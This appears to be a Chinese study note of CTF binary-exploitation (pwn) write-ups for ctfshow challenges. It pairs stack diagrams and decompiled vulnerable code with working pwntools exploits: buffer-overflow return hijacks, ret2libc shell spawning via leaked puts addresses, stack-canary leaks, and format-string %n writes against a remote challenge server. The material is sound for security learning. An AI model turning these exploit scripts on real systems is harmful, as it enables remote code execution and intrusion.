PWN

int pwnme()
{
  char s[9]; // [esp+Fh] [ebp-9h] BYREF

  fgets(s, n: 50, stream: stdin);
  return 0;
}

高地址
+---------------------------+
|      其它东西，乱七八糟      |  ← ebp + 0x??
+---------------------------+
|          返回地址          |  ← ebp + 4 （4 字节）
+---------------------------+
|        保存的 ebp          |  ← ebp （4 字节）
+---------------------------+
|           s[8]            |  
|          ...              |  
|           s[0]            |  ← ebp - 0x9 （缓冲区起始）
+---------------------------+    (esp + 0xf)
|  ... 其他数据 只占0xf...   |
+---------------------------+
|                           |  ← esp（栈顶）
低地址

from pwn import *

context.arch="i386"
stack_addr=0x0804850F
payload=flat(
    b"a"*13,
    stack_addr
)
p=process("./stack")
p.sendlineafter(b"32bits",payload)
p.interactive()

puts@plt(puts@got)

padding + puts@plt + 返回地址 + puts@got

from pwn import *

e=ELF('./stack1')
print(hex(e.plt['puts']))
print(hex(e.got['puts']))

padding + puts@plt + 返回地址 + puts@got

push  参数          ← 参数压栈
call  puts@plt      ← 压入返回地址,跳转

内存低地址 (esp 方向 ↓)
                    ┌──────────────────────┐
  buf 溢出填充       │  padding  13 字节     │  ← 覆盖 buf(9B)+saved ebp(4B)
                    ├──────────────────────┤
  劫持返回地址 →      │  puts@plt  0x8048380 │  ← ret 弹到这里,开始执行 puts
                    ├──────────────────────┤
  puts 的"返回地址"   │  pwnme    0x80484bb  │  ← puts 执行完 ret 回这里(再读一次输入)
                    ├──────────────────────┤
  puts 的第1个参数   │  puts@got  0x804a010 │  ← puts 打印"这个地址里存的值"
                    ├──────────────────────┤
                    │  (后面被覆盖的垃圾)     │
                    └──────────────────────┘
                    内存高地址 (↑)

from pwn import *

context.arch = "i386"
e = ELF('./stack1')

puts_plt = e.plt['puts']   # 0x8048380
puts_got = e.got['puts']   # 0x804a010

payload = flat(
    b'a' * 13,
    puts_plt,
    0,
    puts_got
)

p = process("./stack1")
p.sendlineafter(b"32bits\n\n",payload)
leak=p.recvline()
print(leak)
print("puts real addr",hex(u32(leak[:4])))
p.close()

padding + system_addr + 返回地址 + sh_addr

from pwn import *

context.arch = "i386"
e = ELF('./stack1')

puts_plt = e.plt['puts']   # 0x8048380
puts_got = e.got['puts']   # 0x804a010
pwnme    = e.sym['pwnme']  # 0x80484bb

puts_libc_addr   = 0x67360
system_libc_addr = 0x3cd10
sh_libc_addr     = 0x17b8cf

payload1 = flat(
    b'a' * 13,
    puts_plt,
    pwnme,
    puts_got
)

def payload2(base):
    return flat(
        b'b' * 13,
        base + system_libc_addr,
        0,
        base + sh_libc_addr
    )

p = remote("pwn.challenge.ctf.show", 28292)
p.recvuntil(b"32bits\n\n")

p.sendline(payload1)
leak_line = p.recvline(timeout=5)
leak = u32(leak_line[:4])
print("[+] leaked puts =", hex(leak))
base = leak - puts_libc_addr
print("[+] libc base   =", hex(base))

p.sendline(payload2(base))
p.interactive()

------------------
|     返回地址     |
------------------
|     ebp        |
------------------
|  对齐用到了4字节 |
|-----------------
|    s[15]       |
|    ...         |
|    s[0]        |
------------------
| others 4字节   |
------------------
|     esp        |
------------------

from pwn import *
# p=process("./pwn")
p=remote("pwn.challenge.ctf.show",28119)

context.arch="i386"
flag_addr=0x08048486
payload=b"a"*24+p32(flag_addr)
p.sendline(payload)
p.interactive()

ROPgadget --binary ./pwn | grep "ret"

from pwn import *

context.arch="amd64"
get_flag_addr=0x400577
ret_addr=0x40044e

#p=process("./pwn")
p=remote("pwn.challenge.ctf.show",28243)
payload=flat(
    b"a"*20,
    ret_addr,
    get_flag_addr
)
p.sendline(payload)
p.interactive()

0x804863a   mov [ebp-0xc], eax     <- canary 写入栈
0x8048656   call read              <- 第 1 次读输入
0x8048665   call printf            <- 泄露发生点（重点观察）
0x8048678   mov eax, [ebp-0xc]     <- 返回前的 canary 校验

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

printf("%s",buf)

高地址
+------------------+
|  ebp             |  <- ebp
+------------------+
|  8个其他用途的字节  |  <- 也许是用来对齐的，对我们确定canary的内容没啥帮助 ebp-8
+------------------+
|    canary(4字节)  |  <- ebp-0xc
+------------------+
|  buf[99]         |         
|   ...            |  
|  buf[0]          |  <- buf栈 ebp-0x70   esp+8
+------------------+
低地址

ebp-0x70=esp+8
ebp=esp+0x78

0x804863a   mov [ebp-0xc], eax     <- canary 写入栈
0x8048656   call read              <- 第 1 次读输入
0x8048665   call printf            <- 泄露发生点（重点观察）
0x8048678   mov eax, [ebp-0xc]     <- 返回前的 canary 校验

┌─────────────────────────────────────────────────────────────┐
│ LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA          │  ← 图例
├─────────────────────────────────────────────────────────────┤
│ [ REGISTERS / show-flags off / show-compact-regs off ]    │  ← 寄存器区
│ EAX  0x7a8dd200                                            │
│ EBX  0xf7fa9e34                                            │
│ ...                                                        │
├─────────────────────────────────────────────────────────────┤
│ [ DISASM / i386 / set emulate on ]                        │  ← 反汇编区
│  ► 0x804863a <vuln+12>  mov dword ptr [ebp-0xc], eax    │
│    0x804863d <vuln+15>  xor eax, eax                     │
│    0x804863f <vuln+17>  mov dword ptr [ebp-0x74], 0     │
├─────────────────────────────────────────────────────────────┤
│ [ STACK ]                                                 │  ← 栈区
│ 00:0000│ esp 0xffffd870 —▸ 0xf7faad40                    │
│ 01:0004│-074 0xffffd874 —▸ 0xf7faad87                    │
│ 02:0008│-070 0xffffd878 ◂— 1                             │
├─────────────────────────────────────────────────────────────┤
│ [ BACKTRACE ]                                             │  ← 调用栈区
│ ► 0 0x804863a  vuln+12                                    │
│   1 0x80486c1  main+54                                    │
│   2 0xf7d9ecb9                                             │
└─────────────────────────────────────────────────────────────┘

高地址
+------------------+
|  ebp             |  <- ebp
+------------------+
|  8个其他用途的字节  |  <- 也许是用来对齐的，对我们确定canary的内容没啥帮助 ebp-8
+------------------+
|    canary(4字节)  |  <- ebp-0xc
+------------------+
|  buf[99]         |         
|   ...            |  
|  buf[0]          |  <- buf栈 ebp-0x70   esp+8
+------------------+
低地址

char buf[100]; // [esp+8h] [ebp-70h] BYREF

padding1+canary+padding2(8字节对齐+4字节的saved ebp)+getshell_addr

from pwn import *

getshell_addr=0x0804859B
context.arch="i386"
payload1=b"%31$p"
def payload2(canary_value):
    return flat(
        b"a"*100,
        canary_value,
        b"a"*12,
        getshell_addr,
    )
#p=process("./ex2")
p=remote("pwn.challenge.ctf.show",28196)
p.sendlineafter(b"Hello Hacker!\n",payload1)
canary_value=int(p.recvline(),16)
print(hex(canary_value))
p.sendline(payload2(canary_value))
p.interactive()

padding+pop_rdi_addrr+puts@got+puts@plt+返回地址

from pwn import *

context.arch="amd64"
pop_rdi_addr=0x04006e3
e=ELF("./pwn")
puts_got_addr=e.got["puts"]
puts_plt_addr=e.plt["puts"]
welcome_addr=e.sym["welcome"]
payload=flat(
    b"a"*20,
    pop_rdi_addr,
    puts_got_addr,
    puts_plt_addr,
    0
)
p=process("./pwn")
p.sendline(payload)
p.recvline()
puts_libc=u64(p.recv(6).ljust(8, b"\x00"))
print(hex(puts_libc))
p.interactive()

system_addr=0x58750
bin_sh_addr=0x1cb42f
puts_addr=0x87cc0

from pwn import *

context.arch="amd64"
pop_rdi_addr=0x04006e3
system_addr=0x58750
bin_sh_addr=0x1cb42f
puts_addr=0x87cc0
ret_addr=0x04004c6
e=ELF("./pwn")
puts_got_addr=e.got["puts"]
puts_plt_addr=e.plt["puts"]
welcome_addr=e.sym["welcome"]
payload1=flat(           # welcome ret rsp+8
    b"a"*20,
    pop_rdi_addr,        # pop rdi; ret rsp+16
    puts_got_addr,
    puts_plt_addr,
    welcome_addr         # ret rsp+8
)
# def payload2(base):
#     return flat(           # welcome ret rsp+8
#         b"a"*20,
#         pop_rdi_addr,        # pop rdi; ret rsp+16
#         base+bin_sh_addr,
#         base+system_addr,    # 没对齐，需要一个ret
#         0
#     )
def payload2(base):
    return flat(
        b"a"*20,
        pop_rdi_addr,        # pop rdi; ret rsp+16
        base+bin_sh_addr,
        ret_addr,
        base+system_addr,    # 这次对齐了，可以直接用
        0
    )

p=process("./pwn")
p.sendline(payload1)
p.recvline()
puts_run_addr=u64(p.recv(6).ljust(8, b"\x00"))
print(hex(puts_run_addr))
base=puts_run_addr-puts_addr
p.sendline(payload2(base))
p.interactive()

from pwn import *

e=ELF("./pwn")
context.arch="amd64"
ctfshow_addr=e.sym["ctfshow"]
ret_addr=0x4004fe
payload=flat(
    b"a"*136,
    ret_addr,
    ctfshow_addr
)
# p=process("./pwn")
p=remote("pwn.challenge.ctf.show", 28179)
p.sendline(payload)
p.interactive()

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-80h]
  int v5; // [esp-10h] [ebp-7Ch]
  int v6; // [esp-Ch] [ebp-78h]
  int v7; // [esp-8h] [ebp-74h]
  int v8; // [esp-4h] [ebp-70h]
  _DWORD format[27]; // [esp+0h] [ebp-6Ch] BYREF

  format[25] = &argc;
  setvbuf(stream: stdin, buf: nullptr, modes: 1, n: 0);
  setvbuf(stream: stdout, buf: nullptr, modes: 2, n: 0);
  printf(format: "try pwn me?");
  ((void (__stdcall *)(const char *, _DWORD *, int, int, int, int, int))__isoc99_scanf)(
    a1: "%s",
    a2: format,
    a3: v4,
    a4: v5,
    a5: v6,
    a6: v7,
    a7: v8);
  printf((const char *)format);
  if ( num == 16 )
    system(command: "cat flag");
  else
    puts(s: aYouMayNeedToKe);
  return 0;
}

AAAA0xffffd89c.0xffffd89c.0x2.0x0.0xf7ffdb8c.0x1.0xf7fbf720.0x41414141.0x...
                                                      ^^^^^^^^^^
                                                      第7个 %p 显示 AAAA

break *0x080485D0
run

printf("AAAA%n", &num);  
// 输出 4 个字符 "AAAA"
// %n 将 4 写入 num
// 因为 "AAAA" 有 4 个字符

栈布局（调用 printf 时）：
┌─────────────────────────────────────┐
│ 槽位0: 0xffffd89c  ← format指针     │
├─────────────────────────────────────┤
│ 槽位1: 0xffffd89c                   │
├─────────────────────────────────────┤
│ 槽位2: 0x00000002                   │
├─────────────────────────────────────┤
│ 槽位3: 0x00000000                   │
├─────────────────────────────────────┤
│ 槽位4: 0xf7ffdb8c                   │
├─────────────────────────────────────┤
│ 槽位5: 0x00000001                   │
├─────────────────────────────────────┤
│ 槽位6: 0xf7fbf720                   │
├─────────────────────────────────────┤
│ 槽位7: 0x0804A030  ← num 的地址     │  ← p32(num_addr)
├─────────────────────────────────────┤
│ 槽位8: "%16c%7$n" 的 ASCII          │  ← 格式化字符串
└─────────────────────────────────────┘

from pwn import *

e=ELF("./pwn")
context.arch="i386"
num_addr=e.symbols["num"]
payload=flat(
    num_addr,
    b"%16c%7$n"
)
p=process("./pwn")
# p=remote("pwn.challenge.ctf.show", 28179)
p.recvuntil(b"try pwn me?")
p.sendline(payload)
p.interactive()

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char src[112]; // [rsp+0h] [rbp-70h] BYREF

  setvbuf(stream: stdout, buf: nullptr, modes: 2, n: 0);
  setvbuf(stream: stdin, buf: nullptr, modes: 1, n: 0);
  puts(s: "[+] net user IIS_Helper cccccc /add");
  puts(s: "[+] net localgroup administrator IIS_Helper /add");
  puts(s: "[+] command successful!");
  gets(a1: src);
  strncpy(dest: buf2, src, n: 0x64u);
  printf(format: "hhh,just a joke");
  return 0;
}

from pwn import *

context.arch="amd64"
e=ELF("./pwn")
puts_plt_addr=e.plt["puts"]
puts_got_addr=e.got["puts"]
gets_got_addr=e.got["gets"]
main_addr=e.sym["main"]
pop_rdi_addr=0x400793
payload1=flat(
    b"a"*120,
    pop_rdi_addr,
    puts_got_addr,  # 这里控制想要泄露的got
    puts_plt_addr,
    0
)
# p=process("./pwn")
p=remote("pwn.challenge.ctf.show",28117 )
p.sendlineafter(b"[+] command successful!\n", payload1)
p.recvuntil(b"hhh,just a joke")
response=p.recvline().strip()
leak_addr=u64(response.ljust(8, b"\x00"))

print(hex(leak_addr))
p.close()

from pwn import *

context.arch="amd64"
e=ELF("./pwn")
puts_plt_addr=e.plt["puts"]
puts_got_addr=e.got["puts"]
gets_got_addr=e.got["gets"]
main_addr=e.sym["main"]
system_libc_addr=0x4f440
sh_libc_addr=0x1b3e9a
puts_libc_addr=0x809c0
pop_rdi_addr=0x400793
ret_addr=0x40053e
payload1=flat(
    b"a"*120,
    pop_rdi_addr,
    puts_got_addr,  # 这里控制想要泄露的got
    puts_plt_addr,
    main_addr
)
# p=process("./pwn")
p=remote("pwn.challenge.ctf.show",28117 )
p.sendlineafter(b"[+] command successful!\n", payload1)
p.recvuntil(b"hhh,just a joke")
response=p.recvline().strip()
leak_addr=u64(response.ljust(8, b"\x00"))

print(hex(leak_addr))
def payload2(base):
    return flat(
        b"a"*120,
        pop_rdi_addr,
        base + sh_libc_addr,
        ret_addr,
        base + system_libc_addr,
        0
    )
base=leak_addr - puts_libc_addr
p.sendlineafter(b"[+] command successful!\n", payload2(base))
p.interactive()

                    32 bits
              ┌──────────────────────┐
int           │ s │       31 bits    │
              └──────────────────────┘
                ↑
             符号位

unsigned int   │          32 bits     │
              └──────────────────────┘
                没有符号位

int
范围：
-2^31  ~  2^31 - 1

      -2,147,483,648
              ↓
              0
              ↓
       2,147,483,647

unsigned int
范围：
0 ~ 2^32 - 1

0
↓
4,294,967,295

10000000 00000000 00000000 00000000

10000000 00000000 00000000 00000000
                ↓ 按位取反
01111111 11111111 11111111 11111111
                ↓ 末尾加1
10000000 00000000 00000000 00000000
                ↓
          -2147483648

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  alarm(seconds: 0x3Cu);
  setvbuf(stream: stdout, buf: nullptr, modes: 2, n: 0);
  puts(s: "CTFshow pwn2");
  puts(s: "Can you help me to solve some eazy math problem?");
  if ( (unsigned int)sub_9C0() != 0 && (unsigned int)sub_AEE() != 0 && (unsigned int)sub_BA3() != 0 )
    puts(s: "That's impossible!");
  else
    puts(s: "Baka!");
  return 0;
}

11111111 11111111 11111111 11111111

v1 * v2 ≡ 9 (mod 2^32)

__int64 sub_BA3()
{
  int v1; // [rsp+Ch] [rbp-14h] BYREF
  _DWORD v2[2]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts(s: "3.a/b=ERROR,b!=0");
  printf(format: "a:");
  __isoc99_scanf(a1: "%d", &v1);
  printf(format: "b:");
  __isoc99_scanf(a1: "%d", v2);
  if ( v2[0] != 0 )
  {
    signal(sig: 8, handler: handler);
    v2[1] = v1 / v2[0];
    signal(sig: 8, handler: nullptr);
  }
  return 0;
}

最大值：INT_MAX = 2147483647  (2^31 - 1)
最小值：INT_MIN = -2147483648 (-2^31)